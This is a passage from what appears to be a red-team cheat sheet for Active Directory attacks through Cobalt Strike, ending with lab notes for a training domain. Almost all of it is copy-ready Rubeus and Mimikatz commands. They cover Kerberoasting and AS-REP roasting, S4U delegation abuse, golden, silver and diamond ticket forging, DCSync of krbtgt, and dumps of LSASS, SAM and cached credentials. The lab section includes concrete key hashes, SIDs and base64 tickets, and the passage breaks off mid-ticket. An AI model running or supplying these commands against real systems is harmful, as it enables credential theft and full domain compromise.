execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u /ticket:<BASE64_TGT> /impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

Kerberoast SPNs from file

Source row 525 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /spns:C:\Windows\Temp\spns.txt /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

List certificates with private keys

Source row 526 - columns A/R

```
mimikatz crypto::certificates /export
```

S4U with RC4 hash

Source row 526 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

Kerberoast simple output

Source row 526 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /simple /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

List machine certificates

Source row 527 - columns A/R

```
mimikatz !crypto::certificates /systemstore:local_machine
```

S4U with AES256 key

Source row 527 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

Kerberoast to output file

Source row 527 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>
```

Command

Source row 528 - columns A/R

```
Export machine certificates  
mimikatz !crypto::certificates /systemstore:local_machine /export
```

S4U to CIFS using altservice

Source row 528 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u /user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /impersonateuser:<TARGET_USER> /msdsspn:ldap/<HOST_FQDN> /altservice:cifs /dc:<DC_FQDN> /ptt /nowrap
```

Kerberoast with alternate credentials

Source row 528 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /creduser:<DOMAIN_FQDN>\<USER> /credpassword:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Patch CryptoAPI for private key export

Source row 529 - columns A/B

```
mimikatz !crypto::capi
```

S4U self only

Source row 529 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN>  
/impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /self /dc:<DC_FQDN> /nowrap
```

Kerberoast using existing TGT

Source row 529 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/ticket:<BASE64_TGT> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Patch CNG for private key export

Source row 530 - columns A/B

```
mimikatz !crypto::cng
```

S4U with bronzebit

Source row 530 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN>  
/impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /bronzebit /dc:<DC_FQDN> /ptt  
/nowrap
```

Kerberoast specific SPN using TGT

Source row 530 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/spn:"<SPN>" /ticket:<BASE64_TGT> /nowrap
```

List RDP saved credentials via CredMan

Source row 531 - columns A/B

```
mimikatz !sekurlsa::credman
```

S4U without PAC

Source row 531 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN>  
/impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN> /nopac /dc:<DC_FQDN> /ptt  
/nowrap
```

Kerberoast enterprise principal

Source row 531 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/spn:<USER>@<DOMAIN_FQDN> /enterprise /ticket:<BASE64_TGT> /nowrap
```

List scheduled-task style saved credentials via Vault

Source row 532 - columns A/B

```
mimikatz !vault::cred /patch
```

Cross-domain S4U

Source row 532 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u  
/user:<DELEGATED_ACCOUNT> /rc4:<NTLM_HASH> /domain:<SOURCE_DOMAIN_FQDN>  
/impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<TARGET_HOST_FQDN>  
/targetdomain:<TARGET_DOMAIN_FQDN> /targetdc:<TARGET_DC_FQDN> /dc:<SOURCE_DC_FQDN> /nowrap
```

Kerberoast auto-enterprise retry

Source row 532 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/ticket:<BASE64_TGT> /autoenterprise /ldaps /nowrap
```

Dump terminal services credentials

Source row 533 - columns A/B

```
mimikatz !sekurlsa::tspkg
```

Forge golden ticket using LDAP

Source row 533 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden  
/aes256:<KRBTGT_AES256_KEY> /user:<USER> /ldap /printcmd
```

Kerberoast with tgtdeleg

Source row 533 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/usetgtdeleg /ldaps /nowrap
```

Dump domain cached credentials

Source row 534 - columns A/B

```
mimikatz !lsadump::cache
```

Forge golden ticket using LDAP and inject

Source row 534 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden  
/aes256:<KRBTGT_AES256_KEY> /user:<USER> /ldap /ptt
```

Kerberoast RC4 OPSEC mode

Source row 534 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/rc4opsec /ldaps /nowrap
```

Dump machine account secrets

Source row 535 - columns A/B

```
mimikatz !lsadump::secrets
```

Forge golden ticket using LDAP and save

Source row 535 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden  
/aes256:<KRBTGT_AES256_KEY> /user:<USER> /ldap /outfile:C:\Windows\Temp\golden.kirbi
```

Kerberoast stats only

Source row 535 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/stats /ldaps /nowrap
```

Dump local account hashes

Source row 536 - columns A/B

```
mimikatz !lsadump::sam
```

Forge golden ticket with explicit domain and SID

Source row 536 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden  
/aes256:<KRBTGT_AES256_KEY> /user:<USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID>  
/dc:<DC_FQDN> /printcmd
```

Kerberoast adminCount accounts

Source row 536 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast  
/ldapfilter:'admincount=1' /ldaps /nowrap
```

Dump LSASS using specific PID x64

Source row 537 - columns A/B

```
mimikatz <PID> x64 !sekurlsa::logonpasswords
```

Forge golden ticket as Administrator

Source row 537 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden  
/aes256:<KRBTGT_AES256_KEY> /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID>  
/dc:<DC_FQDN> /ptt
```

Kerberoast password-set date range

Source row 537 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 /ldaps /nowrap
```

Dump LSASS using specific PID x86

Source row 538 - columns A/R

```
mimikatz <PID> x86 !sekurlsa::logonpasswords
```

Forge golden ticket with custom groups

Source row 538 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden /aes256:<KRBTGT_AES256_KEY> /user:<USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /groups:512,513,518,519,520 /dc:<DC_FQDN> /ptt
```

Kerberoast with delay and jitter

Source row 538 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /delay:5000 /jitter:30 /ldaps /nowrap
```

Use Beacon token for DCSync

Source row 539 - columns A/R

```
mimikatz @lsadump::dcsync /domain:<DOMAIN_FQDN> /user:<TARGET_USER>
```

Forge golden ticket with extra SID

Source row 539 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden /aes256:<KRBTGT_AES256_KEY> /user:<USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /sids:<EXTRA_SID> /dc:<DC_FQDN> /ptt
```

AES Kerberoast

Source row 539 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /aes /ldaps /nowrap
```

Use SYSTEM for local secrets

Source row 540 - columns A/R

```
mimikatz !lsadump::secrets
```

Forge golden ticket with custom lifetime

Source row 540 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden /aes256:<KRBTGT_AES256_KEY> /user:<USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /endtime:+8h /renewtill:+7d /dc:<DC_FQDN> /ptt
```

Kerberoast using no-preauth account

Source row 540 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /spn:"<SPN>" /nopreauth:<NO_PREAUTH_USER> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Use SYSTEM for local SAM

Source row 541 - columns A/R

```
mimikatz !lsadump::sam
```

Forge RODC golden ticket

Source row 541 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden /rodcNumber:<RODC_NUM> /aes256:<RODC_KRBTGT_AES256_KEY> /user:<USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /dc:<DC_FQDN> /ptt
```

Basic AS-REP roast

Source row 541 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Use SYSTEM for Vault dump

Source row 542 - columns A/R

```
mimikatz !vault::cred /patch
```

Forge silver ticket using LDAP

Source row 542 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver /aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /printcmd
```

AS-REP roast over LDAPS

Source row 542 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ldaps /nowrap
```

Use SYSTEM for LSASS dump

Source row 543 - columns A/B

```
mimikatz !sekurlsa::logonpasswords
```

Forge silver ticket using LDAP and inject

Source row 543 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver /aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /ptt
```

AS-REP roast specific user

Source row 543 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /user:<USER> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Show Mimikatz version

Source row 544 - columns A/B

```
mimikatz standard::version
```

Forge CIFS silver ticket

Source row 544 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver /rc4:<SERVICE_ACCOUNT_NTLM_HASH> /user:<USER> /service:cifs/<HOST_FQDN> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /ptt
```

AS-REP roast to Hashcat file

Source row 544 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /outfile:C:\Windows\Temp\asrep_hashes.txt /format:hashcat /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>
```

Exit Mimikatz context

Source row 545 - columns A/B

```
mimikatz exit
```

Forge LDAP silver ticket

Source row 545 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver /rc4:<SERVICE_ACCOUNT_NTLM_HASH> /user:<USER> /service:ldap/<DC_FQDN> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /ptt
```

AS-REP roast DES

Source row 545 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /des /nowrap
```

Forge HOST silver ticket

Source row 546 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver /rc4:<SERVICE_ACCOUNT_NTLM_HASH> /user:<USER> /service:host/<HOST_FQDN> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /ptt
```

AES AS-REP roast

Source row 546 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /aes /ldaps /nowrap
```

Substitute ticket service to LDAP

Source row 547 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe tgssub  
/ticket:<BASE64_TGS> /altservice:ldap /ptt /nowrap
```

AS-REP roast with alternate credentials

Source row 547 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asreproast  
/creduser:<DOMAIN_FQDN>\<USER> /credpassword:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/ldaps /nowrap
```

Substitute ticket service to CIFS

Source row 548 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe tgssub  
/ticket:<BASE64_TGS> /altservice:cifs/<HOST_FQDN> /ptt /nowrap
```

Create hidden netonly process

Source row 548 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
createnetonly /program:"C:\Windows\System32\cmd.exe"
```

Substitute ticket service with realm

Source row 549 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe tgssub  
/ticket:<BASE64_TGS> /altservice:cifs/<HOST_FQDN> /srealm:<DOMAIN_FQDN> /ptt /nowrap
```

Create visible netonly process

Source row 549 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
createnetonly /program:"C:\Windows\System32\cmd.exe" /show
```

Convert AS-REP and key to kirbi

Source row 550 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
asrep2kirbi /asrep:<BASE64_ASREP> /keyhex:<HEX_KEY> /entype:AES256 /nowrap
```

Create netonly process with defined creds

Source row 550 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
createnetonly /program:"C:\Windows\System32\cmd.exe" /show /username:<USER> /domain:<DOMAIN>  
/password:<PASSWORD>
```

Convert AS-REP file and key to kirbi

Source row 551 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
asrep2kirbi /asrep:C:\Windows\Temp\asrep.txt /keyhex:<HEX_KEY> /entype:RC4 /ptt /nowrap
```

Change password using supplied TGT

Source row 551 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe changepw  
/ticket:<BASE64_TGT> /new:<NEW_PASSWORD> /dc:<DC_FQDN>
```

Insert new session key into kirbi

Source row 552 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kirbi  
/kirbi:C:\Windows\Temp\ticket.kirbi /sessionkey:<SESSION_KEY> /sessionentype:AES256  
/outfile:C:\Windows\Temp\modified.kirbi /nowrap
```

Change target user password using TGT

Source row 552 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe changepw  
/ticket:<BASE64_TGT> /new:<NEW_PASSWORD> /targetuser:<DOMAIN>\<TARGET_USER> /dc:<DC_FQDN>
```

Insert new session key and inject

Source row 553 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kirbi
/kirbi:C:\Windows\Temp\ticket.kirbi /sessionkey:<SESSION_KEY> /sessionetype:AES256 /ptt
/nowrap
```

Redirect output to file

Source row 553 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage
/consoleoutfile:C:\Windows\Temp\rubeus_output.txt
```

CS Ticket Forging

Ticket injection, DCSync, golden, silver, and diamond ticket lab notes.

General

Pass ticket

Source row 558 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt
/ticket:
```

View tickets

Source row 559 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist
```

ticket BOFs

kerberos_ccache_use

Source row 562 - columns A/B

Notes: Apply kerberos ticket from cache to this session

kerberos_ticket_purge

Source row 563 - columns A/B

Notes: Purge kerberos tickets from this session

kerberos_ticket_use

Source row 564 - columns A/B

Notes: Apply kerberos ticket to this session

DCSync

all

Source row 567 - columns A/B

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /all
```

Command

Source row 568 - columns A/B

```
krbtgt
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\krbtgt
```

Administrator

Source row 569 - columns A/B

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\Administrator
```

Golden ticket

retrieve aes256 using dcsync

Source row 572 - columns A/B

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\krbtgt
```

Retrieve domain SID

Source row 573 - columns A/B

Context: - remove last set of numbers i.e. if user SID is S-1-5-21-719815819-3726368948-3917688648-47163 then domain side is S-1-5-21-719815819-3726368948-3917688648

```
shell whoami /user
```

Create golden ticket + cmd

Source row 574 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe golden
/aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /printcmd /nowrap
```

pass ticket

Source row 575 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt /ticket: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
```

Silver Ticket - WinRM

retrieve aes256 for Administrator

Source row 578 - columns A/B

Context: - must get machine account

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\Administrator
```

HTTP Silver ticket

Source row 579 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:http:dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator
/domain:dollarcorp.moneycorp.local /ptt /nowrap
```

WinRM using ticket:

Source row 580 - columns A/B

Context: - must use in terminal not beacon ?

```
shell winrs -r:dcorp-dc.dollarcorp.moneycorp.local cmd /c "whoami && hostname"
```

Silver ticket - WMI

HOST silver ticket

Source row 583 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:host:dcorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator
/domain:dollarcorp.moneycorp.local /ptt /nowrap
```


RPCSS Silver ticket

Source row 584 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/service:rpcss/dccorp-dc.dollarcorp.moneycorp.local /rc4:c6a60b67476b36ad7838d7875c33c2c3
/sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator
/domain:dollarcorp.moneycorp.local /ptt /nowrap
```

Run WMI Commands

Source row 585 - columns A/B

Context: - maybe only in terminal ?

```
shell wmic /node:dcorp-dc.dollarcorp.moneycorp.local process call create "cmd.exe /c whoami
> C:\Windows\Temp\wmi.txt"
```

Diamond Ticket

Overview

Source row 588 - columns A/R

- Requests ticket then modifies it using krbtgt key

retrieve aes256 using dcsync

Source row 589 - columns A/R

```
mimikatz @lsadump::dcsync /domain:dollarcorp.moneycorp.local /user:dcorp\krbtgt
```

Create and modify Diamond ticket

Source row 590 - columns A/B

Context: - must be in SYSTEM

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/krbkey:154cb6624b1859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg
/entype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local
/dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /ptt /nowrap
```

pass ticket into other beacon

Source row 591 - columns A/R

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt /ticke
t:doIGTjCCBkqgAwIBBAEDAgEwoIFHjCCBRphggUWMIIFEQADAgEForWbGkRPTExBUKNPULaUTU90RVLDT1JQLkxPQ0
FMoi8wLaADAgECoSYwJBsGa3JidGd0GxpET0xMQVJDT1JQLk1PTkVZQ09SUC5MT0NBTKOCBLowggS2oAMCARKhAwIBA6
KCBKgEggSkcixSa2e5X2j2GuegP0kpQgKjFVf3ei90hSHVJED61zwaBd7oI+j0+QLwyDq/WsmuW9F0v9wxuY44waGz
vc07SjyWZmVhZKwZRSKbWQIYFASRAI2WmLk1Sg8bAALN7HB/IqKftZ/YfFoVcuqhCxubeoZJ577QB1VZ0q/gcHvIL0Rs
j251acFyb0X+nYgvmEQaLfeRImH3hqwsOJ8m4RLrhQK95M2cVvGQuPW5G/Pz/TnRtUrRx3Vvjt2MxXeXzypaaZWUMfVf
CdFQmJrm+5qt/ixkAXk68mHZ0gSh+wFESV90MNqL0Z/VqWJNF1v7Dx34XoXqn5mVJxspjTcMyY5Y222JFqn0Dq8ZhXcQ
sZiuJJIP4b3ugE7znPuAtmhA51j1T0J0R2058CZmlT9hrLMfLVjM9k7hatnPskhieGvPyq3l1256jQysf0dC0amhSjQb
c1w+9GFT06Fk/3arrYF/vS9zgJjhC9hbXVOCg1UgVPU0pUccZzh+pa0AN3Me7NrVehG1qUtqrXPIISC3PpQz6KsEjIucj
6nZg+vH8N/kJlU9AbmQI0GIW2i+RmOv4sGUE1Usc/8ddlw+0LD7aa8XHtm1Sr4wt423iQKdIKJYvb+Y4X0NjNYPpJsLT
lpipqfQA11a//qc3JzKuCCdGsXYUet2qIst0W/3Wm/KTCWRqRLua/urjgstr7oPZx710F5aXVRpK6WaTT4xf0AyxFCMK
6HB14p+1p5fg0fUUXV8kDtIqYPP3TxogQ0ZGd0jXs6FCna38cZ762UfbdK0yc2mnQJwdXwsUj0wJ69pSojq/zVBPu7f
8JZ6h4LgAKFAZAUue/hTEFTHp0g5wsrZi5ZticQPBQDdf0+etZdajtFvBqUyNrGxn6uCLAJ5zGQYwzcwzpznuCuea1wE
+UyhDwtRba9IQJUtqQkXUtD+Bg+3Aqx1i+K4UCzkaJaIYkEp8rOhzx/HVR4ULtLY/gk5y/XnRJ9wbNVb08b3ep4gLoA3
HWDBLzxU4zJMvCaC70/slfYmVY8UvBvA0WpPx0J4mCCauBX2ZU/i7dbXwgAFUJDGGZkuDK2zfTzncb9c6eUzLRepdbGi
P8z0FS09ZypSF08mB8JP8QBg+KtNbA0Z8YGrDeYZIqpMvAmuVQVxKnBd7sAfXXVmK0Lq+2GGLHFVoZsq5SmUszFJ6wI
tpdW6f6QXQ45nglfjrd+b/AT0rjnQg4dCgGPhIEViY6Vn3NK6/SQ2XpdJnaTG1JRaQ2M9pkTVGHJgGdtLM5WazCHI7qL
Ty285snAbPm7XqHJdazP9PFOMCCBJj9ioYlsGEuT43YrW0tEUu+EB5Lf6bG/Mrv50FS2bXlru18rq7tMcosEHFYadlc
C+dh9KStS3U+C68rjNf2FhaBKs50+ye6DnGRCIICTXrGXzyCNG8hct+92qd+01r4yNuYlFlbRXuh2pJM5Xvd3QRomqGG
